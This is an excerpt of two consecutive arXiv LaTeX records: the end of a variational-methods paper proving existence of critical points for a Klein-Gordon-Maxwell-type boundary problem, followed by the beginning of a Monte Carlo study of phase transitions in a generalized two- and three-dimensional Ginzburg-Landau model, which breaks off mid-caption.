Up to a subsequence, $\{\eta_{u_n}\}$ and $\{\theta_{u_n}\}$ converge in $H^1(\O)$, in view of Lemma~\ref{eta-theta}(a). This clearly implies that
$\{\overline{\eta}_{u_n}\}$ and $\{\overline{\theta}_{u_n}\}$ are bounded and thus, $\{\widetilde J(u_n)\}$ is bounded from above, by~\eqref{upperJ}.
Since
$J(u_n) = \widetilde J(u_n) + A \, \overline \eta_{u_n} + 2 \, \o \, A \, \overline \theta_{u_n}$,
we deduce that $\{J(u_n)\}$ is bounded from above, a contradiction.
\end{proof}
\smallskip
\begin{proposition}\label{P-S}
The functional $J$ satisfies the Palais-Smale condition in $\Lambda_q$.
\end{proposition}
\begin{proof}
Suppose that $\{u_n\} \subset \Lambda_q$ is a Palais-Smale sequence, that is, $\{J(u_n)\}$ is bounded and $J'(u_n) \to 0$; we have to show that, up to a subsequence, $\{u_n\}$ converges in $\Lambda_q$. \\
Since $J$ is coercive, $\{u_n\}$ is bounded in $H^1_0(\O)$; up to a subsequence, it converges weakly to some $u\in H^1_0(\O)$. Observe that
\begin{equation}\label{PS}
\D u_n = - \dfrac{1}{2} \, J'(u_n) + m^2 \, u_n - \bigl( \o + q\, (\eta_{u_n} + \xi_{u_n} + \o \, \theta_{u_n} + \chi)\bigr)^2 \, u_n \, .
\end{equation}
The first two summands in the right-hand side of~\eqref{PS} are clearly bounded in $H^{-1}(\O)$; we will show that the same is true for the third summand.\\
Since $\{J(u_n)\}$ is bounded, Proposition~\ref{boundary} implies that $\{\|q\, u_n\|_3\}$ is bounded away from $0$. Lemma~\ref{eta-theta}(a) applies: up to a subsequence, $\{\eta_{u_n}\}$ and $\{\theta_{u_n}\}$ converge in $H^1(\O)$, and are therefore bounded in $L^6(\O)$.
By~\eqref{xi}, $\{\xi_{u_n}+\chi\}$ is bounded in $L^6(\O)$ as well. It follows that $\{(\eta_{u_n} + \xi_{u_n} + \o \, \theta_{u_n} + \chi)^2\}$ is bounded in $L^3(\O)$, which in turn implies that $\bigl\{q^2 \, (\eta_{u_n} + \xi_{u_n} + \o \, \theta_{u_n} + \chi)^2 \, u_n \bigr\}$ is bounded in $L^{6/5}(\O)$, hence in $H^{-1}(\O)$. \\
On account of~\eqref{PS}, the sequence $\{\Delta u_n\}$ is bounded in $H^{-1}(\O)$;
the compactness of the inverse Laplace operator implies that, up to a subsequence, $\{u_n\}$ converges to $u$ in $H^1_0(\O)$. By Proposition~\ref{boundary}(b), $u \in \Lambda_q$.
\end{proof}
\section{Proof of the main results}\label{proof-of-main}
\begin{Proof}[Proof of Theorems~\ref{main1} and~\ref{main2}]
On account of the correspondence between critical points of $J$ and nontrivial solutions to Problem~\eqref{KGM}-\eqref{BC-no},
it suffices to prove that $J$ has a sequence of critical points $\{u_n\} \subset \Lambda_q$ satisfying~(i) and~(ii).
Observe that $J(u)=J(|u|)$ for every $u \in \Lambda_q$. This easily follows from the fact that $\Phi(u)=\Phi(|u|)$ for every $u \in \Lambda_q$, by the very definition of $\Phi$.
Suppose that $A\ne 0$
and $\|\al\|_{1/2} \, \|q\|_6$ is so small that the constant $C_1$, as defined in~\eqref{C1}, is strictly positive.
As we have shown in Section~\ref{prop-of-J}, under the assumptions in Theorems~\ref{main1} and~\ref{main2}, the functional $J$ is bounded from below, has complete sublevels, and
satisfies the Palais-Smale condition in $\Lambda_q$. These properties readily imply that $J$ attains its minimum at some $u_0 \in \Lambda_q$; by the observation above, we can assume $u_0 \ge 0$ in $\O$.
By Proposition~\ref{lambda-q}(c), the set $\Lambda_q$ has infinite genus. Thus, Ljuster\-nik-Schnirel\-mann Theory applies (see~\cite[Corollary 4.1]{szulkin} and \cite[Remark~3.6]{ACZ}) and $J$ has a sequence $\{u_n\}_{n \ge 1}$ of critical points in $\Lambda_q$. Standard arguments show that $J(u_n)\to\infty$ (see~\cite[Chapter 10]{AM}).
Let $\{v_{n}\}$ be a bounded subsequence of $\{u_n\}$. In view of Proposition~\ref{if-and-only-if}, every subsequence of $\{v_{n}\}$ has a subsequence $\{v_{k_n}\}$ such that $\|q\, v_{k_n}\|_3\to 0$; this proves that $\|q \, v_n\|_3 \to 0$.
\end{Proof}
\begin{Proof}[Proof of Theorem~\ref{main3}]
Assume that $|\o| \le |m|$ and
$\|\al\|_{1/2} \, \|q\|_6$ is so small that the constant $C_1$, as defined in~\eqref{C1}, is strictly positive. \\
Suppose that $(u,\phi)$ is a solution to~\eqref{KGM}-\eqref{BC-no} with $A=0$ and let $\p:=\phi-\chi$. Then, $(u,\p)$ is a solution to
\begin{equation}\label{PROB-0}
\begin{cases}
\Delta u = m^2 u - \bigl(\o + q \, (\p+\chi)\bigr)^2 \, u \quad & \hbox{in $\O$,} \\[1mm]
\Delta \p = q \, \bigl(\o + q \, (\p+\chi)\bigr) \, u^2 & \hbox{in $\O$,} \\[1mm]
\hskip 3.6mm u = \dfrac{\partial \p}{\partial \n} = 0 & \hbox{on $\partial \O$.}
\end{cases}
\end{equation}
Multiplying by $u$ the first equation in~\eqref{PROB-0} gives
\begin{align*}
0 & = \|\nabla u\|_2^2 + \int_\O m^2 \, u^2 \, dx - \int_\O \bigl(\o + q \, (\p+\chi)\bigr)^2 \, u^2 \, dx \notag \\
& = \|\nabla u\|_2^2 + \int_\O (m^2-\o^2) \, u^2 \, dx - \int_\O (q\, u)^2 \, \p^2 \, dx - \int_\O 2 \, \o \, q \, u^2 \, \chi \, dx + {} \notag \\
& - \int_\O (q\, u)^2 \, \chi^2 \, dx - \int_\O 2 \, (q\, u)^2 \, \p \, \chi \, dx - \int_\O 2 \, \o \, q \, u^2 \, \p \, dx \, .
\end{align*}
Multiplying by $\p$ the second equation in~\eqref{PROB-0} gives
\begin{equation}\label{phi-1}
\|\nabla \p\|_2^2 + \int_\O (q\, u)^2 \, \p^2 \, dx = - \int_\O (q\, u)^2 \, \p \, \chi \, dx - \int_\O \o \, q \, u^2 \p \, dx \, .
\end{equation}
Substituting~\eqref{phi-1} into the preceding equality gives
\begin{align*}
0
= \|\nabla u\|_2^2 & + \int_\O (m^2-\o^2) \, u^2 \, dx + \int_\O (q\, u)^2 \, \p^2 \, dx - \int_\O 2 \, \o \, q \, u^2 \, \chi \, dx + {} \notag \\
& - \int_\O (q\, u)^2 \, \chi^2 \, dx + 2\, \|\nabla \p\|_2^2 \, .
\end{align*}
Neglecting the nonnegative terms, and recalling~\eqref{bound-on-P1}, \eqref{bound-on-P2}, and the definition of~$C_1$, we obtain
\begin{align*}
0 & \ge \|\nabla u\|_2^2 - \int_\O 2 \, \o \, q \, u^2 \, \chi \, dx - \int_\O (q\, u)^2 \, \chi^2 \, dx \notag \\
& \ge \Bigl[1 -
2 \, |\o| \, \kappa \, \sigma_{12/5}^2 \, \|\al\|_{1/2} \, \|q\|_6 - \kappa^2 \, \sigma_3^2 \, \|\al\|_{1/2}^2 \, \|q\|_6^2\Bigr] \, \|\nabla u\|_2^2 \\ & \ge C_1 \, \|\nabla u\|_2^2 \, ,
\end{align*}
which implies $u=0$.
\end{Proof}
|
1,477,468,749,987 | arxiv | \section{Introduction} \label{intro}
Since long the Ginzburg-Landau model has been considered as paradigm
for studying critical phenomena using field-theoretic
techniques.\cite{ZinnJ}
Perturbative calculations of critical exponents and amplitude ratios
of the Ising ($n=1$), XY ($n=2$), Heisenberg ($n=3$) and other O($n$) spin
models relied heavily on this field-theoretic formulation.\cite{KlSch01}
Even though the spin models contain only directional fluctuations, while for
$n$-component Ginzburg-Landau fields with $n\ge2$ directional and size
fluctuations seem to be equally important, the two descriptions are completely
equivalent, as is expected through the concept of universality and has been
proved explicitly for superfluids with $n=2$,
where the spin model reduces to an XY model.\cite{Kl00}
Therefore it appeared as a surprise when,
on the basis of an approximate variational approach to the two-component
Ginzburg-Landau model, Curty and Beck \cite{beck1} recently predicted for
certain parameter ranges the possibility of first-order phase transitions
induced by phase fluctuations. In several papers
\cite{beck2,fort2d_0,fort2da,fort2db,fort3d} this
quasi-analytical \cite{footnote1}
prediction was tested by Monte Carlo simulations and, as the main result,
apparently confirmed numerically. If true, these findings would have
an enormous impact on the theoretical description of many related systems
such as superfluid helium, superconductors, certain liquid crystals and
possibly even the electroweak standard model of elementary particle
physics.\cite{Kl89,LoQuSh01}
In view of these potential important implications for a broad variety of
different fields we performed independent Monte Carlo simulations of the
standard Ginzburg-Landau
model in two and three dimensions in order to test whether
the claim of phase-fluctuation induced first-order transitions is a real
effect or not.\cite{ebwj_prl} Our results clearly support the prevailing
opinion that the
nature of the transition is of second order. In turn this implies,
of course, that the variational approximation employed in
Ref.~\onlinecite{beck1}
is less reliable than originally thought in view of the apparent numerical
confirmations.
In order to shed some light on the numerical results of
Refs.~\onlinecite{beck2,fort2d_0,fort2da,fort2db,fort3d}, we generalized the
standard model by adding a fugacity term which implicitly controls the
vortex density of the model. The purpose of this paper is to present
for this generalized Ginzburg-Landau model results on its phase structure as
obtained from extensive Monte Carlo simulations. Employing finite-size scaling
analyses we find numerical evidence that, by tuning the extra fugacity
parameter, it is indeed possible to drive the system into a region with
first-order phase transitions.
The layout of the remainder of this paper is organized as follows. In
Sec.~\ref{model} we
first recall the standard model, and then discuss its generalization and the
observables used to map out the phase diagram.
Next we describe the employed simulation techniques in Sec.~\ref{numer}.
The results of our simulations are presented in Sec.~\ref{results}, where we
first discuss the three-dimensional case in some detail and then add a few
brief comments on the two-dimensional model to complete the physical picture.
Finally, in Sec.~\ref{summary} we conclude with a summary of our main findings.
\section{Model and Observables} \label{model}
The standard complex or two-component Ginzburg-Landau theory is defined by the
Hamiltonian
\begin{equation}
H[\psi] = \int \!\! \mathrm{d}^dr \left[\alpha |\psi|^2 + \frac{b}{2}|\psi|^4 +
\frac{\gamma}{2}|\nabla \psi|^2 \right], \quad \gamma > 0~,
\label{eq:H}
\end{equation}
where $\psi(\vec{r}) = \psi_x(\vec{r}) + i \psi_y(\vec{r}) =
|\psi(\vec{r})| e^{i \phi(\vec{r})}$ is a complex
field, and $\alpha$, $b$ and $\gamma$ are temperature independent coefficients
derived from a microscopic model.
In order to carry out Monte Carlo simulations we put
the model (\ref{eq:H}) on a $d$-dimensional hypercubic lattice with spacing $a$.
Adopting the notation of Ref.~\onlinecite{beck1}, we introduce scaled variables
$\tilde{\psi} = \psi/\sqrt{(|\alpha|/b)}$ and $\vec{u}=\vec{r}/ \xi$,
where $\xi=\sqrt{\gamma/|\alpha|}$ is the mean-field correlation length at zero
temperature. This leads to the normalized lattice Hamiltonian
\begin{equation}\label{h2}
H[\tilde{\psi}] = k_B \tilde{V}_0 \sum_{n=1}^N \Big [\frac{\tilde{\sigma}}{2}
(|\tilde{\psi}_n|^2 - 1)^2 +
\frac{1}{2}\sum_{\mu=1}^d |\tilde{\psi}_n-\tilde{\psi}_{n+\mu}|^2 \Big ]~,
\end{equation}
with
\begin{equation}
\tilde{V}_0=\frac{1}{k_B}\frac{|\alpha|}{b}\gamma a^{d-2}~,\quad
\tilde{\sigma}=\frac{a^2}{\xi^2}~,
\end{equation}
where $\mu$ denotes the unit vectors along the $d$ coordinate axes,
$N=L^d$ is the total
number of sites, and an unimportant constant term has been removed. The
parameter $\tilde{V}_0$ merely sets the temperature scale and can thus be
absorbed in the definition of the reduced temperature
$\tilde{T} = T/\tilde{V}_0$.
After these rescalings, and omitting the tilde on $\psi$, $\sigma$, and $T$
for notational simplicity in the rest of the paper,
the partition function $Z$ considered in the simulations is then given by
\begin{equation}
Z=\int \!\! D\psi D\bar{\psi} \, e^{-H/T}~,
\label{eq:Z}
\end{equation}
where
\begin{equation}
H[\psi] = \sum_{n=1}^N \Big [\frac{\sigma}{2}
(|\psi_n|^2 - 1)^2 +
\frac{1}{2}\sum_{\mu=1}^d |\psi_n-\psi_{n+\mu}|^2 \Big ]
\label{eq:H_scal}
\end{equation}
and $\int D\psi \,D\bar{\psi} \equiv \int D\,{\rm Re\/}\psi \,D\,{\rm Im\/}\psi$
stands short for integrating over all possible complex field configurations.
In Ref.~\onlinecite{ebwj_prl} we have shown, that the disagreement mentioned above
is caused by an incorrect sampling of the Jacobian which emerges from the complex
measure in (\ref{eq:Z}) when transforming the field representation
to polar coordinates, $\psi_n = R_n (\cos(\phi_n), \sin(\phi_n))$.
When updating in the simulations the modulus $R_n = |\psi_n|$ and the
angle $\phi_n$, one has to rewrite the measure of the partition function
(\ref{eq:Z}) as
\begin{equation}
Z=\int_0^{2\pi} \!\! D\phi \int_0^\infty \!\! R DR \, e^{-H/T}~,
\label{eq:Z_R}
\end{equation}
where $DR \equiv \prod_{n=1}^N dR_n$ and $R \equiv \prod_{n=1}^N R_n$ is the Jacobian
of this transformation. While mathematically indeed trivial (and of course properly
taken into account in Ref.~\onlinecite{beck1}), this fact may
easily be overlooked when coding the update proposals for the modulus and angle
in a Monte Carlo simulation program. While for the angles it is correct to
use update proposals of the form $\phi_n \rightarrow \phi_n + \delta \phi$ with
$-\Delta \phi \le \delta \phi \le \Delta \phi$ (where $\Delta \phi$ is chosen such
as to assure an optimal acceptance ratio), the similar procedure for the modulus,
$R_n \rightarrow R_n + \delta R$ with $-\Delta R\le \delta R \le \Delta R$,
would be incorrect since this ignores the $R_n$ factor coming from the Jacobian.
In fact, if we purposely ignore the Jacobian and simulate the model (\ref{eq:Z_R})
(erroneously) without the $R$-factor,
then we obtain a completely different behavior than in the correct case,
cf.\ e.g.\ Fig.~\ref{pr} below. As already mentioned
above these results reproduce \cite{footnote2} those in
Refs.~\onlinecite{beck2} and \onlinecite{fort3d}, and from this data one
would indeed
conclude evidence for a first-order phase transition when $\sigma$ is small.
With the correct measure, on the other hand, we have checked that {\em no}
first-order signal shows up down to $\sigma = 0.01$.
To treat the measure in Eq.~(\ref{eq:Z_R}) properly one can either use the
identity $R_n dR_n = d R_n^2/2$ and update the squared moduli
$R_n^2 = |\psi_n|^2$ according to a uniform measure (where the update proposal
$R_n^2 \rightarrow R_n^2 + \delta$ with $-\Delta \le \delta \le \Delta$ is
correct), or one can introduce an effective Hamiltonian,
\begin{equation}
H_{\rm eff} = H - T \kappa \sum_{n=1}^N \ln R_n~,
\label{eq:Heff}
\end{equation}
with $\kappa \equiv 1$ and work directly with a uniform measure for $R_n$.
The incorrect omission of the
$R$-factor in (\ref{eq:Z_R}) is equivalent to setting $\kappa = 0$. It is well
known \cite{Kl89} that the nodes $R_n=0$ correspond to core regions of
vortices in the dual formulation of the model. The Jacobian factor $R$
(or equivalently the term $-\sum \ln R_n$ in $H_{\rm eff}$) tends
to suppress field configurations with many nodes $R_n=0$. If the $R$-factor
is omitted, the number of nodes and hence vortices is relatively
enhanced. It is thus at least qualitatively plausible that in this case
a discontinuous, first-order ``freezing transition'' from a vortex dominated
phase can occur, as is suggested by a similar mechanism for the
XY model \cite{JK1,Kl89,MiWa87} and defect-models of
melting \cite{Kl89II,WJ_defect}.
In the limit of a large parameter $\sigma$, it is
easy to read off from Eq.~(\ref{eq:H_scal}) that the modulus of the
field is squeezed onto unity and once hence expects that irrespectively of
the value of $\kappa$ the XY model limit is approached with its well-known
continuous phase transition in three dimensions (3D) at $T_c \approx 2.2$
respectively Kosterlitz-Thouless (KT) transition in two dimensions (2D)
at $T_{\rm KT} \approx 0.9$.
While for the standard model with $\kappa = 1$, this
behavior should qualitatively persist for all values of $\sigma$,
from the numerical results discussed above one expects that for $\kappa = 0$
the order of the transition turns first-order below a certain (tricritical)
$\sigma$-value. The purpose of this paper is to elucidate this
behavior further by studying the phase diagram in the $\sigma$-$\kappa$-plane,
i.e., by considering an interpolating model with $\kappa$ varying
continuously between 0 and 1.
To be precise we always worked with the proper functional measure in
Eq.~(\ref{eq:Z_R}) and replaced the standard Hamiltonian $H$ by
\begin{equation}
H_{\rm gen} = H + T(1-\kappa) \sum_{n=1}^N \ln R_n
= H + T \delta \sum_{n=1}^N \ln |\psi_n|~,
\label{eq:H_gen}
\end{equation}
where we have introduced the parameter $\delta = 1 - \kappa$,
such that $\delta = 0$ ($\kappa = 1$) corresponds to the standard model and
$\delta = 1$ ($\kappa = 0$) to the previously studied modified model with its
first-order phase transition for small enough $\sigma$.
In order to map out the phase diagram in the $\sigma$-$\kappa$-
respectively $\sigma$-$\delta$-plane,
we have measured
in our simulations to be described in detail in the next section
among other quantities the energy density $e=\langle H\rangle / N$,
the specific heat per site $c_v=(\langle H^2\rangle- \langle H\rangle^2)/N$, and
in particular the mean-square amplitude
\begin{equation}
\langle|\psi|^2\rangle=\frac{1}{N} \sum_{n=1}^N
\langle |\psi_n|^2\rangle~,
\label{eq:mean_square}
\end{equation}
which will serve as the most relevant quantity for comparison with previous
work \cite{beck1,beck2,fort2d_0,fort2da,fort2db,fort3d}. For further
comparison and in order to determine the critical temperature, the helicity
modulus,
\begin{eqnarray}
\Gamma_\mu = \frac{1}{N}\langle \sum_{n=1}^N
|\psi_n||\psi_{n+\mu}|
\cos(\phi_n - \phi_{n+\mu})\rangle \nonumber\\
-\frac{1}{NT} \langle \left[\sum_{n=1}^N|\psi_n|
|\psi_{n+\mu}| \sin(\phi_n - \phi_{n+\mu}) \right]^2 \rangle~,
\label{eq:helicity}
\end{eqnarray}
was also computed.
Notice that the helicity modulus $\Gamma_\mu$ is a direct measure of the
phase correlations in the direction of $\mu$. Because of cubic symmetry all
directions $\mu$ are equivalent, and we always quote the average
$\Gamma = (1/d) \sum_{\mu=1}^d \Gamma_\mu$.
In the infinite-volume limit,
$\Gamma$ is zero above $T_c$ and different from zero below $T_c$.
We also have measured the vortex density $v$ (of vortex points in 2D and
vortex lines in 3D). The standard procedure to calculate
the vorticity on each plaquette is by considering the quantity
\begin{equation}
m=\frac{1}{2\pi}([\phi_1-\phi_2]_{2\pi}+[\phi_2-\phi_3]_{2\pi}+[\phi_3-\phi_4]_{2\pi}+[\phi_4-\phi_1]_{2\pi})~,
\end{equation}
where $\phi_1,\dots,\phi_4$ are the phases at the corners of a plaquette labeled,
say, according to the right-hand rule, and
$[\alpha]_{2\pi}$ stands for $\alpha$ modulo $2\pi$:
$[\alpha]_{2\pi}=\alpha+2\pi n$,
with $n$ an integer such that $\alpha+2\pi n \in (-\pi,\pi]$, hence
$m=n_{12}+n_{23}+n_{34}+n_{41}$. If $m\neq0$, there exists a vortex
which is assigned to the object dual to the given plaquette (a site in 2D and a link in 3D).
Hence, in two dimensions,
${*m}$, the dual of $m$, is assigned to the center of the original plaquette.
In three dimensions, the topological point charges are replaced by
(oriented) line elements ${*l_i}$ which combine to form closed networks
(``vortex loops''). The vortex ``charges'' ${*m}$ or ${*l_i}$ can take three
values: $0,\pm 1$ (the values $\pm 2$ have a
negligible probability). The quantities
\begin{eqnarray}
v &=& \frac{1}{L^2}\sum_{x}|{*m}_x| \quad {\rm (2D)}~,
\label{eq:vortex2D} \\
v &=& \frac{1}{L^3}\sum_{x,i}|{*l}_{i,x}| \quad {\rm (3D)}
\label{eq:vortex3D}
\end{eqnarray}
serve as a measure of the vortex density.
We further analyzed the Binder cumulant,
\begin{equation}
U=\frac{\langle (\vec{\mu}^2)^2 \rangle}{\langle\vec{\mu}^2\rangle^2}~,
\end{equation}
where $\vec{\mu}=(\mu_x, \mu_y)$ with
\begin{equation}
\mu_x=\frac{1}{N}\sum_{n=1}^{N} {\rm Re}(\psi_n)~,\quad
\mu_y=\frac{1}{N}\sum_{n=1}^{N} {\rm Im}(\psi_n)~,
\end{equation}
is the magnetization per lattice site of a given configuration.
\section{Simulation Techniques} \label{numer}
Let us now turn to the description of the Monte Carlo update procedures used
by us. To be on safe grounds,
we started with the most straightforward (but most inefficient)
algorithm known since the early days of Monte Carlo simulations: The standard
Metropolis algorithm \cite{Metro}. Here the complex field $\psi_n$ is
decomposed into its
Cartesian components, $\psi_n = \psi_{x,n} + i \psi_{y,n}$. For each lattice
site a random update proposal for the two components is made, e.g.
$\psi_{x,n} \rightarrow \psi_{x,n} + \delta \psi_{x,n}$ with
$\delta \psi_{x,n} \in [-\Delta,\Delta]$, and in the standard fashion accepted
or rejected according to the energy change $\delta H_{\rm gen}$. The parameter $\Delta$
is usually chosen such as to give an acceptance rate of about $50\%$, but
other choices are permissible and may even result in a better performance of
the algorithm (in terms of autocorrelation times). All this is
standard \cite{WJ_review} and guarantees in a straightforward manner that the
complex measure $D\psi D\bar{\psi}$ in the partition function (\ref{eq:Z})
is treated properly.
\begin{figure}[t]
\centerline{\psfig{figure=metro.ps,angle=0,height=6.cm,width=7cm}}
\caption{\label{fig:metro}
Mean-square amplitude of the standard three-dimensional complex
Ginzburg-Landau model with
$\kappa = 1$ and $\sigma = 0.25$ on a $10^3$ cubic lattice.
}
\end{figure}
The well-known drawback of this algorithm is its critical slowing down
(large autocorrelation times) in the vicinity of a continuous phase
transition \cite{WJ_review}, leading to large statistical errors for a fixed
computer budget. To improve the accuracy of our data we therefore employed
the single-cluster algorithm \cite{wolff} to update the direction of the
field \cite{hasen}, similar to simulations of the XY spin model \cite{WJ_XY}.
The modulus of $\psi$
is updated again with a Metropolis algorithm. Here some care is necessary
to treat the measure in (\ref{eq:Z}) properly (see above comments).
Per measurement we performed one sweep with the Metropolis algorithm and $n$
single-cluster updates. For all simulations in two and three dimensions
the number of cluster updates was chosen such that $n \langle |C| \rangle
\approx L^d \equiv N$, where $\langle |C| \rangle$ is the average cluster size.
Since $\langle |C| \rangle$ scales with system size
as the susceptibility, $\chi = N \langle \vec{\mu}^2 \rangle \simeq
L^{\gamma/\nu}$, and
$\gamma/\nu = 2 - \eta = 7/4$ at the Kosterlitz-Thouless transition in 2D
and $\gamma/\nu = 2 - \eta \approx 2$ in
3D, $n$ was chosen $\propto L^{1/4}$ in 2D and $\propto L$ in 3D.
In the 2D case most of the simulations were performed for $L=10, 20$, and $40$,
and in 3D we usually studied the lattice sizes $L=10, 15, 20$, and $30$. For
each simulation point we thermalized with 500 to $1\,000$ sweeps and averaged
the measurements over $10\,000$ sweeps.
In the cases of strong first-order phase transitions we employed
a variant of the multicanonical scheme~\cite{berg} where the
histogram of the mean modulus is flattened instead that of the energy.
All error bars are computed with the Jackknife method \cite{Jack}. In the
following we
only show the more extensive and accurate data set of the cluster simulations,
but we tested in many representative cases that the Metropolis simulations
coincide within error bars, for an example see Fig.~\ref{fig:metro}.
\begin{figure*}[htb]
\centerline{\hbox{\psfig{figure=r2_all_f.ps,angle=0,height=6.cm,width=7cm}
\hspace*{1cm}
\psfig{figure=r2_all_r.ps,angle=0,height=6.cm,width=7cm}}}
\centerline{\hbox{\psfig{figure=gam_all_f.ps,angle=0,height=6.cm,width=7cm}
\hspace*{1cm}
\psfig{figure=gam_all_r.ps,angle=0,height=6.cm,width=7cm}}}
\centerline{\hbox{\psfig{figure=v_all_f.ps,angle=0,height=6.cm,width=7cm}
\hspace*{1cm}
\psfig{figure=v_all_r.ps,angle=0,height=6.cm,width=7cm}}}
\caption{\label{pr}
Mean-square amplitude $\langle |\psi|^2 \rangle$, helicity modulus
$\Gamma_{\mu}$
and vortex-line density $\langle v \rangle$
of the three-dimensional generalized complex Ginzburg-Landau model on
a $15^3$ cubic lattice
for different values of the parameter $\sigma = 0.25, \dots, 3.0$ for the
case $\kappa=0$ (left) and the standard formulation with $\kappa=1$ (right).
}
\end{figure*}
\section{Results} \label{results}
\subsection{Three dimensions}
In the first set of simulations we concentrated on the two most
characteristic cases $\kappa = 0$ and $\kappa = 1$ and performed
temperature scans on a $15^3$ lattice for various values of the
parameter $\sigma$. Our results for the mean-square amplitude, the
helicity modulus and the vortex-line density are compared for the two cases
in Fig.~\ref{pr}. In the plots for $\kappa = 0$ on the left side, we see that
all three quantities exhibit quite pronounced jumps for small
$\sigma$-values, which is a clear indication that in this regime the
phase transition is of first order. At $\sigma = 0.25$, for example, we
observe already on very small lattices a clear double-peak structure
for the distributions of the energy and mean-square amplitude as well as
the mean modulus $\overline{|\psi|} = \frac{1}{N} \sum_{n=1}^N |\psi_n|$
which is depicted in Fig.~\ref{fig:histos}. Notice that already for the
extremely small lattice size of $4^3$ the minimum between the two peaks
is suppressed by more than 20 orders of magnitude. This is an
unambiguous indication for two coexisting phases and thus clearly implies that
the model undergoes a first-order phase transition in the small $\sigma$-regime
for $\kappa=0$.
Due to the pronounced metastability these
simulations had to
be performed with a variant of the multicanonical scheme~\cite{berg} where,
instead of flattening the energy histogram, extra weight factors for the
mean modulus were introduced. With this simulation technique we overcome the
difficulty of sampling the extremely rare events between the two peaks of the
canonical distribution.
A closer look at the $\kappa=0$ plots shows that the
crossover from second- to first-order transitions happens around
$\sigma_t \approx 2.5$.
For the standard model with $\kappa = 1$, on the other hand, we
observe for {\em all\/} $\sigma$-values a smooth behavior, suggesting that
the XY model like continuous transition persists also for small $\sigma$-values.
This is clearly supported by a single-peak structure of all
distributions just mentioned, for the case of the mean modulus see
Fig.~\ref{fig:histos}. This supports the prevailing opinion that the
standard complex $|\psi|^4$ model always undergoes a second-order phase
transition.
In fact, we have checked that down to $\sigma = 0.01$ {\em no\/} signal of a
first-order transition can be detected for the standard model parameterized
by $\kappa = 1$.
The resulting transition lines in the $\sigma$-$T$-plane for $\kappa=0$ and
$\kappa = 1$ are sketched in Fig.~\ref{fig:sigma_T_diag}, with the thick line
for $\kappa = 0$ indicating the approximate regime of first-order phase
transitions.
\begin{figure}[t]
\centerline{\hbox{\psfig{figure=histo_0.ps,angle=0,height=6.cm,width=7cm}}}
\centerline{\hbox{\psfig{figure=histo_1.ps,angle=0,height=6.cm,width=7cm}}}
\caption{\label{fig:histos}
Top: Histogram of the mean modulus $\overline{|\psi|}$ on a
logarithmic scale for a $4^3$ cubic lattice, $\kappa=0$ and $\sigma=0.25$,
reweighted to the temperature $T_0 \approx 0.0572$ where the two peaks are
of equal height.
Bottom: Histogram for the same quantity and lattice size at $T=1.1$
close to the second-order phase transition
for $\kappa=1$ and $\sigma=0.25$.
}
\end{figure}
\begin{figure}[t]
\centerline{\hbox{\psfig{figure=t_sigma.ps,angle=0,height=6.0cm,width=7.0cm}}}
\caption{\label{fig:sigma_T_diag}
Transition lines in the $\sigma$-$T$-plane for $\kappa=0$ and $\kappa=1$.
The thick line for $\kappa = 0$ indicates first-order phase transitions
while all other transitions are continuous.
}
\end{figure}
Next we concentrated on the small $\sigma$ regime and performed a rough
finite-size scaling (FSS) analysis for $\sigma = 0.25$ on moderately large
$10^3$, $15^3$, $20^3$, and $30^3$ lattices.
In Fig.~\ref{fig_e} we compare results for the energy, mean-square
amplitude (\ref{eq:mean_square}), helicity modulus (\ref{eq:helicity})
and vortex-line density (\ref{eq:vortex3D}) for $\kappa=0$ and $\kappa=1$.
Apart from the transition region where a strong size dependence is of course
expected, we notice only a small dependence on the variation of the
lattice size. On the basis of these results, we do not expect a significant
change of the qualitative behavior for much larger lattices and hence used
similar moderate lattice sizes for most of our further investigations.
\begin{figure*}[tbh]
\centerline{\hbox{\psfig{figure=e_025f.ps,angle=0,height=6.0cm,width=7.0cm}
\psfig{figure=e_025.ps,angle=0,height=6.0cm,width=7.0cm}}}
\centerline{\hbox{\psfig{figure=r2_025f.ps,angle=0,height=6.0cm,width=7.0cm}
\psfig{figure=r2_025.ps,angle=0,height=6.0cm,width=7.0cm}}}
\centerline{\hbox{\psfig{figure=gam_025f.ps,angle=0,height=6.0cm,width=7.0cm}
\psfig{figure=gam_025.ps,angle=0,height=6.0cm,width=7.0cm}}}
\centerline{\hbox{\psfig{figure=v_025f.ps,angle=0,height=6.0cm,width=7.0cm}
\psfig{figure=v_025.ps,angle=0,height=6.0cm,width=7.0cm}}}
\caption{\label{fig_e}
Energy density $e$, mean-square amplitude $\langle|\psi|^2\rangle$,
helicity modulus $\Gamma_\mu$ and vortex-line density $v$
on $10^3, 15^3, 20^3$ and $30^3$ cubic lattices for $\sigma = 0.25$ and
$\kappa = 0$ (left) respectively $\kappa = 1$ (right).
}
\end{figure*}
To exemplify the big differences between the models with $\kappa=0$ and
$\kappa=1$, we choose in the following the case $\sigma = 1.5$,
where we shall characterize for both $\kappa$-values the phase transitions
in some detail. Let us start with the non-standard case $\kappa=0$,
where the first-order phase transition around $T \approx 0.36$ is also
pronounced but much less strong than for $\sigma=0.25$. Still, in order to
get sufficiently accurate equilibrium results, the
simulations for lattices of size $L=4,6,8,10,12,14,15$, and $16$ had to
be performed again with our modulus variant of the multicanonical method.
As can be inspected in the histogram plots for the mean modulus
shown in Fig.~\ref{fig:inter}, the frequency of the rare events between the two peaks
in the canonical ensemble for a
$16^3$ lattice is about 50 orders of magnitude smaller than for configurations
contributing to the two peaks.
\begin{figure}[t]
\centerline{\psfig{figure=inter_his.ps,angle=0,height=6.cm,width=7cm}}
\centerline{\psfig{figure=interface_L.ps,angle=0,height=6.cm,width=7cm}}
\caption{\label{fig:inter}
Top: Histogram of the mean modulus
$\overline{|\psi|}$ for $\kappa = 0$ and $\sigma = 1.5$ on a
logarithmic scale for various lattice sizes ranging from $L=4$ (top curve) to
$L=16$ (bottom curve), reweighted to temperatures where the two peaks
are of equal height.
Bottom: FSS extrapolation for $L \ge 6$ of the interface tension $F^s_L$,
yielding the infinite-volume limit $F^s = 0.271(5)$.
}
\end{figure}
\begin{figure}[htb]
\centerline{\hbox{\psfig{figure=nu_fit.ps,angle=0,height=6.cm,width=7cm}}}
\caption{\label{fig_nu}
Least-square fits for $\kappa = 1$ and $\sigma = 1.5$ on a log-log scale,
using the FSS ansatz
$d f(\mu)/d\beta \propto L^{1/\nu}$ at the maxima locations.
The fits using the data for $L \ge 8$ lead
to an overall critical exponent $1/\nu=1.493(7)$ or $\nu = 0.670(3)$.
}
\end{figure}
\begin{figure}[htb]
\centerline{\hbox{\psfig{figure=gamma_fit.ps,angle=0,height=6.cm,width=7cm}}}
\caption{\label{fig_gambynu}
Log-log plot of the FSS of the susceptibility for $\kappa = 1$ and
$\sigma = 1.5$ at
